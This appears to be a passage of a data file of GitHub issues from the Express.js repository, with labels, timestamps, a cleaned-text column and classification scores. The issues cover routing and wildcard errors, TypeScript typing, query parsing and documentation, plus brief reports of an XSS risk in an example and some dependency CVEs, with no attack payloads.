I have managed to reproduce the bug in stackblitz, available [here](https://stackblitz.com/edit/stackblitz-starters-hlzmadpl?file=router.js).",invalid,2025-01-25 19:11:50+00:00,2025-01-25 19:18:05+00:00,2,invalid,0.0043,wildcard not working in express found an issue with pathtoregexp used to create a route with the operator in express express next when you create a new router and assign it the wildcard operator a pathtoregexperror is thrown instead of a new route being registered with the matching any string i have managed to reproduce the bug in stackblitz available here,others,0.0516
expressjs/express,2811007930,Missing semicolon in express/examples/auth/views/head.ejs,"In [express/examples/auth/views/head.ejs](https://github.com/expressjs/express/blob/master/examples/auth/views/head.ejs#L13) at line 13, `CSS` style for `.error` class' `color` attribute is missing a semicolon.
```css
.error {
    color: red
}
```
The code does not break as the missing semicolon is at the end of the last declaration in the block.

However, for consistency and best practice, a semicolon must be included, even for the last declaration.

## Fix

The process for bug fixing is:
- We will insert a semicolon
```css
.error {
    color: red;
}
```
",bug,2025-01-25 14:21:42+00:00,2025-01-25 20:25:26+00:00,2,bug,0.2526,missing semicolon in express examples auth views head ejs in express examples auth views head ejs at line style for class attribute is missing a semicolon the code does not break as the missing semicolon is at the end of the last declaration in the block however for consistency and best practice a semicolon must be included even for the last declaration fix the process for bug fixing is we will insert a semicolon,bug,-0.5859
expressjs/express,2809831531,"The home route is triggered several times when running nodeJs by using expressJs to get JSON data from an API, and render to the ejs file","I created a simple web application that fetches data from an API but when I get a response and render the result to ejs file it seems the route is called multiple times

- Here are my codes:-

**index.js file**
```
import express from ""express"";
import bodyParser from ""body-parser"";
import axios from ""axios"";

const app = express();
const port = 3000;

app.get(""/"", async (req, res) => {
  console.log(""Received a GET request to /"");
  try {
    const response = await axios.get(""https://api.restful-api.dev/objects"");
    const result = response.data;
    console.log(
      ""Fetched data from API:"",
      result[Math.floor(Math.random() * result.length)]
    );
    res.render(""index.ejs"", {
      data: result[Math.floor(Math.random() * result.length)],
    });
  } catch (error) {
    console.error(""Failed to make request:"", error.message);
  }
});
app.listen(port, () => {
  console.log(`Server running on port: ${port}`);
});

```

**index.ejs** file looks like this:

```
<!DOCTYPE html>
<html lang=""en"">
  <head>
    <meta charset=""UTF-8"" />
    <meta name=""viewport"" content=""width=device-width, initial-scale=1.0"" />
    <title>API - TEST</title>
  </head>
  <body>
    <h1>Welcome to API TEST</h1>
    <h2>Device Name = <%= data.name %></h2>
    <% console.log(""Home Page rendered successfully"", data.id) %>
  </body>
</html>
```

- And here are my results in the console when I run the web

![Image](https://github.com/user-attachments/assets/dbaa729f-04da-436e-9a47-4436922e2c39)

- ... [TRUNCATED]",question,2025-01-24 16:20:31+00:00,2025-01-24 17:16:43+00:00,0,question,0.039,the home route is triggered several times when running nodejs by using expressjs to get json data from an api and render to the ejs file i created a simple web application that fetches data from an api but when i get a response and render the result to ejs file it seems the route is called multiple times here are my codes index js file index ejs file looks like this and here are my results in the console when i run the web image truncated,help,0.5789
expressjs/express,2807444760,XSS in examples,"I have found a potential Cross-Site Scripting (XSS) vulnerability in your codebase located at /examples/auth/index.js. In the following code, user input is directly rendered into the page without proper sanitization:

```
app.use(function(req, res, next){
    var err = req.session.error;
    var msg = req.session.success;
    if (err) res.locals.message = '<p>' + err + '</p>';  // Potential XSS
    if (msg) res.locals.message = '<p>' + msg + '</p>';
    next();
});
```
Risks:
This exposes the application to XSS attacks, where attackers can inject malicious scripts.
It can lead to script injection and potentially allow attackers to steal user data, perform actions on behalf of the user, or hijack user sessions.
Suggested Fix:
Use libraries like DOMPurify to sanitize user input before rendering it to prevent XSS attacks.
Encode or escape text before displaying it to avoid executing embedded scripts.
Consider using safe HTML templating engines that automatically handle escaping, such as Handlebars or Pug.
Implementing these measures will significantly enhance the security of the application and protect against XSS vulnerabilities.

Thank you for your attention to this matter.

Best Regards, @ZeroXJacks",bug,2025-01-23 17:01:38+00:00,2025-01-24 14:50:57+00:00,4,bug,0.9092,xss in examples i have found a potential cross site scripting xss vulnerability in your codebase located at examples auth index js in the following code user input is directly rendered into the page without proper sanitization risks this exposes the application to xss attacks where attackers can inject malicious scripts it can lead to script injection and potentially allow attackers to steal user data perform actions on behalf of the user or hijack user sessions suggested fix use libraries like dompurify to sanitize user input before rendering it to prevent xss attacks encode or escape text before displaying it to avoid executing embedded scripts consider using safe html templating engines that automatically handle escaping such as handlebars or pug implementing these measures will significantly enhance the security of the application and protect against xss vulnerabilities thank you for your attention to this matter best regards zeroxjacks,bug,0.1813
expressjs/express,2797041153,TypeError: Router.use() requires a middleware function but got a Object,"TypeError: Router.use() requires a middleware function but got a Object

setReqUser.ts

import { Request, Response, NextFunction } from 'express';
import User from ""../models/User"";
import jwt from ""jsonwebtoken"";

interface DecodedToken {
  id?: string;
}

export default async function setReqUser (req: Request, res: Response, next: NextFunction) {
  try {
    const cookies = req.cookies;
    const token = cookies?.token;

    if (!token) return next();

    const decodedToken = jwt.verify(token, process.env.JWT_SECRET!) as DecodedToken;

    if (decodedToken?.id) {
      const targetUser = await User.findOne({ id: decodedToken.id }).lean();

      if (targetUser) req.user = targetUser;
    }
  } catch (error) {
    console.error(error);
  }

  next();
};

",,2025-01-18 15:41:06+00:00,2025-01-18 19:59:11+00:00,0,nan,0.1792,typeerror router use requires a middleware function but got a object typeerror router use requires a middleware function but got a object setrequser ts import request response nextfunction from express import user from models user import jwt from jsonwebtoken interface decodedtoken id string export default async function setrequser req request res response next nextfunction try const cookies req cookies const token cookies token if token return next const decodedtoken jwt verify token process env jwt secret as decodedtoken if decodedtoken id const targetuser await user findone id decodedtoken id lean if targetuser req user targetuser catch error console error error next,bug,-0.9081
expressjs/express,2794184549,DEBUG=express:* does not work in express@5.0.1,"### Description

[Debugging Express](https://expressjs.com/en/guide/debugging.html) said
""To see all the internal logs used in Express, set the DEBUG environment variable to express:* when launching your app.""
`DEBUG=express:* node index.js`

But it does not work in express@5.0.1
There is also no answer on [Moving to Express 5](https://expressjs.com/en/guide/migrating-5.html#path-syntax) 

### Expectations

How to debug in express@5.0.1?","bug,5.x",2025-01-17 01:12:18+00:00,2025-03-05 15:24:12+00:00,13,"bug,5.x",47.5916,debug express does not work in express description debugging express said to see all the internal logs used in express set the debug environment variable to express when launching your app but it does not work in express there is also no answer on moving to express expectations how to debug in express,bug,-0.4215
expressjs/express,2782701258,Express.js 4.21.2 application runs twice on localhost,"I'm not too sure how to fix this in express, but I found that the `express` app would run twice if you access it on a browser via `localhost`. I am using version `^4.21.2` on Windows 11.

**Reproducing the bug**:
```js
// This file is called `test.js`.
import express from 'express';

const mainServer = express();
mainServer.use(""*"", (request, response, next) => {
    console.log(""--------------------------------------------------------------------"");
    console.log(`Connection established with ${request.ip} on port ${request.socket.localPort} via remote port ${request.socket.remotePort}.`);
    console.log(`Request Type: ${request.method}`);
    console.log(`Request Host: ${request.headers.host}`);
    console.log(""--------------------------------------------------------------------"");
    console.log("""");

    next();
});

mainServer.all(""*"", (request, response) => {
    response.send(""Hello world!"");
});

mainServer.listen(80, () => {
    console.log(`✅ HTTP Server launched on port 80.`);
});
```
By running `$node test.js` and opening Chrome and typing in `http://localhost`, you see this in the console:
```
 HTTP Server launched on port 80.
--------------------------------------------------------------------
Connection established with ::1 on port 80 via remote port 56877.
Request Type: GET
Request Host: localhost
--------------------------------------------------------------------

-------------------------------------------------------... [TRUNCATED]",bug,2025-01-12 21:27:25+00:00,2025-01-13 01:37:03+00:00,2,bug,0.1734,express js application runs twice on localhost i m not too sure how to fix this in express but i found that the app would run twice if you access it on a browser via i am using version on windows reproducing the bug by running and opening chrome and typing in you see this in the console http server launched on port connection established with on port via remote port request type get request host localhost truncated,bug,-0.4554
expressjs/express,2776883753,Lack of TypeScript documentation - Extending Request / Response / etc.,"### Description

Quoting the only documentation within the code for extending the express types:

```
declare global {
    namespace Express {
        // These open interfaces may be extended in an application-specific manner via declaration merging.
        // See for example method-override.d.ts (https://github.com/DefinitelyTyped/DefinitelyTyped/blob/master/types/method-override/index.d.ts)
        interface Request {}
        interface Response {}
        interface Locals {}
        interface Application {}
    }
}
```

The URL refers to a piece of code that uses the following syntax:

```
declare namespace Express {
    export interface Request {
        originalMethod?: string | undefined;
    }
}
```

**This does not work. TypeScript also deprecated namespaces, making this doubly incorrect.**

The only correct way I've found of doing this is now:

```
declare module ""express-serve-static-core"" {
    export interface Response {
        originalMethod?: string | undefined;
    }
}
```

There is very little documentation online that shows this, and I cannot find documentation anywhere on expressjs.com for extending these (or for *anything at all* TypeScript-related, which seems pretty odd to me).

### Expectations

I would expect to find adequate documentation on expressjs.com or *somewhere* that documents usage of express with TypeScript specifically, and that covers extending Request / Response / Locals / Application interfaces... [TRUNCATED]",,2025-01-09 05:42:50+00:00,2025-01-11 18:00:34+00:00,3,nan,2.5123,lack of typescript documentation extending request response etc description quoting the only documentation within the code for extending the express types the url refers to a piece of code that uses the following syntax this does not work typescript also deprecated namespaces making this doubly incorrect the only correct way i ve found of doing this is now there is very little documentation online that shows this and i cannot find documentation anywhere on expressjs com for extending these or for anything at all typescript related which seems pretty odd to me expectations i would expect to find adequate documentation on expressjs com or somewhere that documents usage of express with typescript specifically and that covers extending request response locals application interfaces truncated,feature,0.128
expressjs/express,2768223258,`actions/setup-node@v4` in `ci.yml` has `Invalid action input 'persist-credentials'`,`actions/setup-node@v4` in `ci.yml` has `Invalid action input 'persist-credentials'`.,,2025-01-03 21:54:35+00:00,2025-01-08 19:24:53+00:00,1,nan,4.896,in has in has,others,0.0
expressjs/express,2761752045,Route Matching Confusion Between blogs/:id and blogs/create,"I encountered an issue where defining a route like /blogs/create alongside /blogs/:id causes Express to interpret create as the :id parameter. This behavior leads to errors when handling routes, as Express treats ""create"" as an ObjectId, which causes issues in MongoDB queries.
Steps to Reproduce:
Set up the following routes:
javascript
Copy code
app.get('/blogs/create', (req, res) => {
    res.render('create', { titlex: 'Create a Blog' });
});

app.get('/blogs/:id', (req, res) => {
    const id = req.params.id;
    Blog.findById(id)
        .then((result) => res.render('details', { blog: result, titlex: 'Blog Details' }))
        .catch((err) => console.log(err));
});
Start the server.
Navigate to /blogs/create.
Observed Behavior:
The /blogs/create route is not recognized. Instead, Express interprets ""create"" as the :id parameter, leading to a CastError when attempting to query the database with ""create"".

Expected Behavior:
The /blogs/create route should take precedence over /blogs/:id since it is more specific.

Potential Solutions:
Enhance route matching to prioritize specific routes over dynamic ones.
Improve the documentation to highlight this behavior and suggest workarounds.
Environment:
Express Version: (e.g., 4.18.2)
Node.js Version: (e.g., 16.20.0)
Platform: (e.g., Windows/Linux)
![Screenshot (2032)](https://github.com/user-attachments/assets/cae12070-cd1d-4583-ba76-d770b71e0181)
",,2024-12-28 14:56:59+00:00,2025-01-01 13:08:15+00:00,1,nan,3.9245,route matching confusion between blogs id and blogs create i encountered an issue where defining a route like blogs create alongside blogs id causes express to interpret create as the id parameter this behavior leads to errors when handling routes as express treats create as an objectid which causes issues in mongodb queries set up the following routes javascript copy code app get blogs create req res res render create titlex create a blog app get blogs id req res const id req params id blog findbyid id then result res render details blog result titlex blog details catch err console log err start the server navigate to blogs create observed behavior the blogs create route is not recognized instead express interprets create as the id parameter leading to a casterror when attempting to query the database with create the blogs create route should take precedence over blogs id since it is more specific potential solutions enhance route matching to prioritize specific routes over dynamic ones improve the documentation to highlight this behavior and suggest workarounds environment express version e g node js version e g platform e g windows linux screenshot,others,0.9775
expressjs/express,2746043871,express.all('(.*)') throws error on v5,"Using 5.0.1 and I cannot get the .all('(.*)') to work.   I have followed all the examples.   Dropping down to 4.x as this has drained a lot of time.

Code:
```
this.expressApp.all('(.*)', function (req, res, next) {
      res.set('X-Powered', 'XXX');
      next();
    });
```

Error:
```
D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:123
        throw new TypeError(`Unexpected ${nextType} at ${index}, expected ${type}: ${DEBUG_URL}`);
        ^

TypeError: Unexpected ( at 1, expected END: https://git.new/pathToRegexpError
    at Iter.consume (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:123:15)
    at consume (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:179:16)
    at parse (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:183:20)
    at D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:294:74
    at Array.map (<anonymous>)
    at pathToRegexp (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:294:25)
    at Object.match (D:\service.profile\api\node_modules\path-to-regexp\dist\index.js:264:30)
    at matcher (D:\service.profile\api\node_modules\router\lib\layer.js:83:23)
    at new Layer (D:\service.profile\api\node_modules\router\lib\layer.js:90:62)
    at Function.route (D:\service.profile\api\node_modules\router\index.js:421:17)

Node.js v18.14.0
```",bug,2024-12-17 16:25:21+00:00,2024-12-17 21:29:49+00:00,4,bug,0.2114,express all throws error on v using and i cannot get the all to work i have followed all the examples dropping down to x as this has drained a lot of time code error,bug,-0.8176
expressjs/express,2744014069,Express.js Module Resolution Errors: Missing Internal Modules Not Utilized in Project,"Hello Express Community,

I've been encountering persistent issues with my Express.js application that I haven't been able to resolve despite numerous troubleshooting attempts. Below are the details of the problems and the steps I've taken so far.


Environment:

Node.js Version: v22.12.0
Express.js Version: latest
Operating System: Windows 11


Issues Encountered:

1: Error When Running node index.js:

```
node:internal/modules/cjs/loader:1252
  throw err;
  ^

Error: Cannot find module './middleware/query'
Require stack:
- ...\node_modules\express\lib\application.js
- ...\node_modules\express\lib\express.js
- ...\node_modules\express\index.js
- ...\index.js       
    at Function._resolveFilename (node:internal/modules/cjs/loader:1249:15) 
    ...
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    '...\node_modules\express\lib\application.js',
    '...\node_modules\express\lib\express.js',
    '...\node_modules\express\index.js',
    '...\index.js'
  ]
}

Node.js v22.12.0
```



2: Error When Using Nodemon (npm start):

```
Error: Cannot find module '...\node_modules\nodemon\node_modules\brace-expansion\index.js'. Please verify that the package.json has a valid ""main"" entry
    at tryPackage (node:internal/modules/cjs/loader:494:19)
    ...
  code: 'MODULE_NOT_FOUND',
  path: '...\\brace-expansion\\package.json',
  requestPath: 'brace-expansion'
}

Node.js v22.12.0
```



Steps Taken to Resolve:

Reinstalled node_m... [TRUNCATED]",awaiting more info,2024-12-17 06:05:24+00:00,2025-01-10 18:23:11+00:00,3,awaiting more info,24.5123,express js module resolution errors missing internal modules not utilized in project hello express community i ve been encountering persistent issues with my express js application that i haven t been able to resolve despite numerous troubleshooting attempts below are the details of the problems and the steps i ve taken so far environment node js version v express js version latest windows issues encountered error when running node index js error when using nodemon npm start steps taken to resolve reinstalled node m truncated,bug,-0.8324
expressjs/express,2738184541,How to use res.send([buffer]) without a content-type?,"I refactored my app to use in memory buffers instead of files. However an undesired side effect is that for all responses where we do `res.send(buf)` without setting an explicit `res.type()` express now defaults to:

```
Content-Type: application/octet-stream
```

I do not want this. Is there a workaround to use `res.send(buffer)` without setting any content-type automatically?

I know I can explicitly override it with `res.type(""bla/bla"")` but for many resources there  is not a known type. In these cases I want to set no content-type response header.

I am using express 5.0.1.",question,2024-12-13 11:32:44+00:00,2024-12-13 15:44:58+00:00,0,question,0.1752,how to use res send buffer without a content type i refactored my app to use in memory buffers instead of files however an undesired side effect is that for all responses where we do without setting an explicit express now defaults to i do not want this is there a workaround to use without setting any content type automatically i know i can explicitly override it with but for many resources there is not a known type in these cases i want to set no content type response header i am using express,help,-0.5013
expressjs/express,2737482246, CVE-2024-10491 ,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->
A vulnerability has been identified in the Express response.links&nbsp;function, allowing for arbitrary resource injection in the Link&nbsp;header when unsanitized data is used.

The issue arises from improper sanitization in Link header values, which can allow a combination of characters like ,, ;, and <> to preload malicious resources.

This vulnerability is especially relevant for dynamic parameters.",3.x,2024-12-13 06:03:33+00:00,2024-12-13 15:29:37+00:00,10,3.x,0.3931,cve the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix a vulnerability has been identified in the express response links nbsp function allowing for arbitrary resource injection in the link nbsp header when unsanitized data is used the issue arises from improper sanitization in link header values which can allow a combination of characters like and to preload malicious resources this vulnerability is especially relevant for dynamic parameters,others,0.7479
expressjs/express,2726258599,"Unpatched `path-to-regexp` ReDoS in 0.1.x (CVE-2024-52798, CVE-2024-45296)","[CVE-2024-52798](https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-rhx6-c78j-4q9w)
[CVE-2024-45296](https://github.com/advisories/GHSA-9wv6-86v2-598j)

A new vulnerability has appeared in a dependent package. 
When forcibly updating to version 0.1.12, an error occurs: TypeError: pathRegexp is not a function.
",awaiting more info,2024-12-09 07:44:01+00:00,2025-01-14 19:58:33+00:00,12,awaiting more info,36.5101,unpatched redos in x cve cve cve cve a new vulnerability has appeared in a dependent package when forcibly updating to version an error occurs typeerror pathregexp is not a function,others,-0.5994
expressjs/express,2725210928,Searching the Express docs returns a page without `https`,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

The bug is reproducible by:
1. Open the Express docs at https://expressjs.com/
2. Click on the searchbar in the navbar menu and search for a specific topic
3. Click on the required topic
4. Notice that the redirected page is not `https`

Here is the page info when I look up hello world example in the search bar

![image](https://github.com/user-attachments/assets/03e5cbf1-2871-4bad-bca7-7d3bd36e5a5f)



",bug,2024-12-08 12:32:43+00:00,2024-12-09 14:48:10+00:00,2,bug,1.0941,searching the express docs returns a page without the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix the bug is reproducible by open the express docs at click on the searchbar in the navbar menu and search for a specific topic click on the required topic notice that the redirected page is not here is the page info when i look up hello world example in the search bar image,bug,-0.4215
expressjs/express,2724741872,Connection not secure when viewing Express docs,"### Description

As you can see in the screenshot, the connection is not secure, as detected by Firefox.

![image](https://github.com/user-attachments/assets/e440c012-3740-437e-aedc-f69bf8cf5701)


### Expectations

Expected behavior is for the connection to be secure.",,2024-12-07 17:39:59+00:00,2024-12-07 17:41:37+00:00,0,nan,0.0011,connection not secure when viewing express docs description as you can see in the screenshot the connection is not secure as detected by firefox image expectations is for the connection to be secure,documentation,-0.6259
expressjs/express,2720761084,"In Express 5, how to make a query param parsed as an array when it is an array of string of one element ?","Hello everybody,

I am currently migrating my app from Express 4.17.21 to Express 5. I am using Node 22.9. The only problem I have is for parsing the query params when it is array of string of 1 element.

Here is an example of the url : 

```
http://localhost/api/myApi/myBaseUrl?myQueryParam=firstElement
```
The query param firstElement is not recognized as a an array, and it was the case in Express 4.x.x.

This problem can be fixed by this code (found [https://github.com/cdimascio/express-openapi-validator/issues/599](url) thanks to @djMax)

```
app.use((req, res, next) => {
    // Express 5 re-parses the query string every time. This causes problems with
    // various libraries, namely the express OpenAPI parser. So we ""freeze it"" in place
    // here, which runs right before the routing stuff does.
    const { query } = req;
    if (query) {
      Object.defineProperty(req, 'query', {
        value: query,
      });
    }
  next();
});
```

But this is not very clean.

I know if I use the ""extended"" query parser (app.set(""query parser"", ""extended"")), and use the url
```
http://localhost/api/myApi/myBaseUrl?myQueryParam[]=firstElement
```
the problem can be fixed but for reasons - such as our APIs are used by consumers - I cannot use this solution.

So I wonder whether there is a ""clean"" way for parsing as Express 4 does...?

Thank you !",question,2024-12-05 15:45:38+00:00,2024-12-28 19:19:33+00:00,5,question,23.1486,in express how to make a query param parsed as an array when it is an array of string of one element hello everybody i am currently migrating my app from express to express i am using node the only problem i have is for parsing the query params when it is array of string of element here is an example of the url the query param firstelement is not recognized as a an array and it was the case in express x x this problem can be fixed by this code found thanks to djmax but this is not very clean i know if i use the extended query parser app set query parser extended and use the url the problem can be fixed but for reasons such as our apis are used by consumers i cannot use this solution so i wonder whether there is a clean way for parsing as express does thank you,help,-0.6171
expressjs/express,2716033457,Upgrade Version of debug package,"Hi, there!

IDK if it's the appropriate channel to discuss about that but the package [debug](https://www.npmjs.com/package/debug) in use of this app is on 2.6.9 version. And it has a problem of memory leak as discussed [here](https://github.com/debug-js/debug/issues/678).

This issue suggests upgrade this package to version 3.7.0 which this problem was already solved.

I  can also submit a Pull Request if it would help.",backport,2024-12-03 21:43:03+00:00,2025-01-08 20:34:38+00:00,3,backport,35.9525,upgrade version of debug package hi there idk if it s the appropriate channel to discuss about that but the package debug in use of this app is on version and it has a problem of memory leak as discussed here this issue suggests upgrade this package to version which this problem was already solved i can also submit a pull request if it would help,bug,-0.6369
expressjs/express,2715486484,HTTP/2 103 not requesting linked resources,"I am really struggling with this for two days now and I can not explain why it would not work. Is there anything I am missing with this or does it simply not work?

I have set up a normal express app in nodejs with a http2 secure server and early hints being written:

```typescript
import fs from ""fs"";
import path from ""path"";
import zlib from ""zlib"";
import http2 from ""http2"";
import express from ""express"";
import http2Bridge from ""http2-express-bridge"";

import { SERVER_ROOT } from ""../etc/root"";
import { CLIENT_ROOT } from ""../etc/root"";

const app = http2Bridge(express);

const earlyHints = [
    ""</css/index.css>; rel=preload; as=style"",

    ""</js/index.js>; rel=preload; as=script"",
    ""</js/theme.js>; rel=preload; as=script""
];

const earlyHintObject = {
    ""link"": earlyHints
};

app.get(""/"", function(req, res, next) {
    req.url = ""index.html"";

    res.writeEarlyHints(earlyHintObject);

    next(""route""); // redirection of the path from / to /index.html
});

app.use(""/svg"", function(req, res, next) {
    res.setHeader(""Cache-Control"", ""public, max-age=3600"");
    res.setHeader(""Content-Type"", ""image/svg+xml"");

    next();
});

app.use(""/templates"", function(req, res, next) {
    res.setHeader(""Cache-Control"", ""private, max-age=3600, must-revalidate"");
    next();
});

app.use(function(req, res) {
    res.setHeader(""Content-Encoding"", ""gzip"");

    fs.createReadStream(path.join(CLIENT_ROOT, req.baseUrl, req.path))... [TRUNCATED]",question,2024-12-03 16:33:15+00:00,2024-12-03 16:42:26+00:00,0,question,0.0064,http not requesting linked resources i am really struggling with this for two days now and i can not explain why it would not work is there anything i am missing with this or does it simply not work i have set up a normal express app in nodejs with a http secure server and early hints being written typescript import fs from fs import path from path import zlib from zlib import http from http import express from express import http bridge from http express bridge import server root from etc root import client root from etc root const app http bridge express const earlyhints rel preload as style rel preload as script rel preload as script const earlyhintobject link earlyhints app get function req res next req url index html res writeearlyhints earlyhintobject next route redirection of the path from to index html app use svg function req res next res setheader cache control public max age res setheader content type image svg xml next app use templates function req res next res setheader cache control private max age must revalidate next app use function req res res setheader content encoding gzip fs createreadstream path join client root req baseurl req path truncated,feature,-0.1761
expressjs/express,2702398418,"app.listen() error behavior is different in Express 4 vs. 5, if port is occupied","Hi there,
Great to see that Express 5 with async request handlers is finally available :-)

I have a question about behavior that differs in Express 4 vs. 5, if the listen port is already in use.
I wanted to know if that's on purpose, or if it's a bug.
If it's on purpose, it should probably be mentioned here? https://expressjs.com/en/guide/migrating-5.html
Thanks for having a look!

```js
// minimal-express.mjs

import express from 'express';
import expressPkg from 'express/package.json' with { type: ""json"" };

const app = express();
app.use(express.json());
app.get('/api/health', (req, res) => {
	res.status(200).json({ status: 'ok' });
});

console.log('Express ', expressPkg.version);
console.log('Starting Express server on port 7072...');
const server = app.listen(7072, '0.0.0.0', () => {
	console.log('Callback');
	if (!server.address()) {
		// This line is only reachable in Express 5, but not in Express 4.
		throw new Error('Failed to start server (Express 5).');
	}
	console.log('Listening on http://localhost:7072/ - e.g. http://localhost:7072/api/health');
});
```

Enviroment: WSL2, Ubuntu 22.04, Node 20 or 22
```
PRETTY_NAME=""Ubuntu 22.04.5 LTS""
Linux MYHOSTNAME 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

Node.js v20.18.1
Node.js v22.11.0 (same result)
```

Results with Express 4, if port is already in use:
```
Express  4.21.1
Starting Express server on port 7072...
nod... [TRUNCATED]",docs,2024-11-28 14:41:42+00:00,2024-12-20 15:14:29+00:00,3,docs,22.0228,app listen error behavior is different in express vs if port is occupied hi there great to see that express with async request handlers is finally available i have a question about behavior that differs in express vs if the listen port is already in use i wanted to know if that s on purpose or if it s a bug if it s on purpose it should probably be mentioned here thanks for having a look enviroment wsl ubuntu node or results with express if port is already in use express starting express server on port nod truncated,bug,0.25
expressjs/express,2682559691,"This makes me think: should other things, like `this.cache` and `app.locals`, use `Object.create(null)` too?","              This makes me think: should other things, like `this.cache` and `app.locals`, use `Object.create(null)` too?

_Originally posted by @EvanHahn in https://github.com/expressjs/express/pull/4835#discussion_r811355575_
            ",,2024-11-22 09:29:57+00:00,2024-11-22 22:52:52+00:00,3,nan,0.5576,this makes me think should other things like and use too this makes me think should other things like and use too originally posted by evanhahn in,others,0.6124
expressjs/express,2650096786,How to detect requests that did send a response,"I would like to detect a bug in my express 5 app where a request has been handled by express, but it somehow did not send a response to the client. This results in leaving the client hanging and is difficult to debug.

A typical scenario in which this occurs is when a router code does something async in a promise, but you forgot to `return` this promise in the router. In this case, when the promise gets rejected, express will not catch it and send a error message to the client. 

What I need is a hook or type of middleware (postware?) that _always runs_ after express is done with the request, including waiting for a promise returned by the router to get settled and running the error handler on rejection. Once all this has completed I want to run a final check if anything has actually been sent to the client.

I understand this does not work for express applications in general, because it requires routers always `return` the promise that will sending a response, which express does not require. But I think it is good practice and it will make it possible to use such a postware handler.
",question,2024-11-11 18:41:37+00:00,2024-11-12 11:55:16+00:00,0,question,0.7178,how to detect requests that did send a response i would like to detect a bug in my express app where a request has been handled by express but it somehow did not send a response to the client this results in leaving the client hanging and is difficult to debug a typical scenario in which this occurs is when a router code does something async in a promise but you forgot to this promise in the router in this case when the promise gets rejected express will not catch it and send a error message to the client what i need is a hook or type of middleware postware that always runs after express is done with the request including waiting for a promise returned by the router to get settled and running the error handler on rejection once all this has completed i want to run a final check if anything has actually been sent to the client i understand this does not work for express applications in general because it requires routers always the promise that will sending a response which express does not require but i think it is good practice and it will make it possible to use such a postware handler,feature,-0.5647
expressjs/express,2647074345,obsolete code in examples/search,"Path like `/search/:query?` isn't supported by express 5.x anymore. Also, the APIs of reids package has changed to async functions, the names changed to camel-cased style. How to update these outdated code? I tried to update one example, no one responded, so I thing I may do something wrong.",question,2024-11-10 10:18:57+00:00,2024-11-11 11:52:53+00:00,0,question,1.0652,obsolete code in examples search path like isn t supported by express x anymore also the apis of reids package has changed to async functions the names changed to camel cased style how to update these outdated code i tried to update one example no one responded so i thing i may do something wrong,help,-0.4019
expressjs/express,2644257956,res.json() BUG on the Edge,"### Express: 4.21.1
### Edge: 130.0
```js
import express from 'express'
const app = express()

app.get('/', (req, res) => {
 // or res.json([])
  return res.json(1)
})

app.listen(3000, () => {
  console.log('Server is running on port 3000')
})
```
<img width=""662"" alt=""截屏2024-11-08 22 33 54"" src=""https://github.com/user-attachments/assets/00056bc8-f563-4d59-af9e-daa4a4191b69"">

### And, Chrome, Firefox, Safari is no problem, just Edge Bug.
",,2024-11-08 14:45:54+00:00,2024-11-11 14:19:27+00:00,5,nan,2.9816,res json bug on the edge express edge img width alt src and chrome firefox safari is no problem just edge bug,bug,-0.872
expressjs/express,2641548169,Support for parenthesis is missing in URI,"I'm building an [Odata V4](https://www.odata.org) library on top of Express v5. 

However, I’m facing issues implementing a route like `/Products(:id)` due to the route validation logic described in the [release note](https://expressjs.com/2024/10/15/v5-release.html).

This kind of particular route is used to identify a unique resource as mentioned in [OData Documentation](https://docs.oasis-open.org/odata/odata/v4.01/odata-v4.01-part2-url-conventions.html#sec_URLComponents) and also along with this it is also used for calling bound/unbound action mention [here](https://docs.oasis-open.org/odata/odata/v4.01/odata-v4.01-part1-protocol.html#sec_BindinganOperationtoaResource).

Could you advise if there’s a way to implement this specific route in Express v5?
",question,2024-11-07 16:30:31+00:00,2024-11-07 22:20:47+00:00,0,question,0.2432,support for parenthesis is missing in uri i m building an odata v library on top of express v however i m facing issues implementing a route like due to the route validation logic described in the release note this kind of particular route is used to identify a unique resource as mentioned in odata documentation and also along with this it is also used for calling bound unbound action mention here could you advise if there s a way to implement this specific route in express v,help,0.5859
expressjs/express,2626526544,Using /*splat in app.all() does not work on v5,"Hi,

I recently tried to upgrade to v5 from v4 and used the following guide:

[https://expressjs.com/en/guide/migrating-5.html#path-syntax](https://expressjs.com/en/guide/migrating-5.html#path-syntax)

Here is my `app.all()` that sets headers on all routes:

  ```
  app.all('/api/*', function (req, res, next) {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader(
      'Access-Control-Allow-Headers',
      'Origin, Accepts, Accept, Accept-Version, Content-Length, Content-MD5, Content-Type, Date, X-Api-Version, X-Response-Time, X-CSRF-Token, Authorization',
    );
    res.setHeader('Access-Control-Allow-Methods', '*');
    res.setHeader('Access-Control-Expose-Headers', 'X-Api-Version, X-Request-Id, X-Response-Time');
    res.setHeader('Access-Control-Max-Age', '1000');
    res.setHeader('Cache-Control', 'no-cache');
    res.setHeader('Expires', '-1');
    res.setHeader('Pragma', 'no-cache');
    next();
  });
```

As per documentation:

> The wildcard * must have a name, matching the behavior of parameters :, use / *splat instead of / *

I changed it to:
```
  app.all('/api/*splat'
```
This does not work. Anything I am doing wrong?
",awaiting more info,2024-10-31 10:38:51+00:00,2025-02-18 16:46:38+00:00,9,awaiting more info,110.2554,using splat in app all does not work on v hi i recently tried to upgrade to v from v and used the following guide here is my that sets headers on all routes as per documentation the wildcard must have a name matching the behavior of parameters use splat instead of i changed it to this does not work anything i am doing wrong,others,-0.4767
expressjs/express,2616970072,"Error: Module '""express""' has no exported member","Hi...

I'm using `express 5.0.1` (tried with last 4.x too) and trying to use with module.

And change my `package.json` adding:
```json
""exports"": ""./dist/index.js"",
  ""type"": ""module"",
  ""engines"": {
    ""node"": "">=20""
  },
```
`package.json` dependencies and scripts:
```json
""scripts"": {
